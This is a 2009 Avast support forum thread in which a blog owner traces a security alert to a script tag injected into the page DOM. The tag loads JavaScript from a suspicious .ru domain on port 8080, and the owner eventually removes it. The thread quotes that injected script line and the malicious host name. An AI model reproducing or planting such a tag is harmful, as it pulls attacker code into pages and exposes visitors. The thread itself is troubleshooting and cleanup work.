Author Topic: Malware or false positive?  (Read 3206 times)

0 Members and 1 Guest are viewing this topic.

nycxs

  • Guest
Malware or false positive?
« on: December 19, 2009, 06:34:41 PM »
Hi all,

I help run a blog that has come up negative for malware on Google: http://www.google.com/safebrowsing/diagnostic?site=news-nftu.blogspot.com. However the Avast Network Shield has reported  "blocked access to malicious site":

mybrowserbar-com.samsung.com.nasa-gov.egreatsale.ru:8080:8080/megavideo.com/megavideo.com/laredoute.fr/bild.de/google.com/

I can't seem to find any malicious scripts on the page. Any help to understand what is causing this would be greatly appreciated.

Thanks!


nycxs

  • Guest
Re: Malware or false positive?
« Reply #1 on: December 19, 2009, 09:45:37 PM »
Hmm...

After viewing my page DOM source I found the following:

<script defer="defer" src="hxxp://mybrowserbar-com.samsung.com.nasa-gov.egreatsale.ru:8080/megavideo.com/megavideo.com/laredoute.fr/bild.de/google.com/" id="myscript1" type="text/javascript"></script></body></html>

 Guess now I just have to figure out how to get ride of it.
« Last Edit: December 19, 2009, 10:41:35 PM by misak »

Offline Lisandro

  • Avast team
  • Certainly Bot
  • *
  • Posts: 67183
Re: Malware or false positive?
« Reply #2 on: December 19, 2009, 09:47:35 PM »
Please, edit the link, broking it (making not live) and avoid accidental clicking.
The best things in life are free.

nycxs

  • Guest
Re: Malware or false positive?
« Reply #3 on: December 19, 2009, 10:40:43 PM »
LOL.

Yeah...I'd do that but the script does NOT show up in my edit HTML dashboard. Actually, it does not show up in "View page source" either.

Only in view DOM source can the code be seen and I seem to have no access to it.

Still scratching my head. In the meantime, I wrote a note to Blogger, maybe they can help get the kinks out.

Offline Lisandro

  • Avast team
  • Certainly Bot
  • *
  • Posts: 67183
Re: Malware or false positive?
« Reply #4 on: December 19, 2009, 10:42:51 PM »
Please, edit the link, broking it (making not live) and avoid accidental clicking.
Please, only you can do it...
Write hxxp instead of http in your first post.
The best things in life are free.

nycxs

  • Guest
Re: Malware or false positive?
« Reply #5 on: December 20, 2009, 06:36:36 AM »
I fixed it. I deleted various .js 'till it was gone.  ;D

Thanks for your input.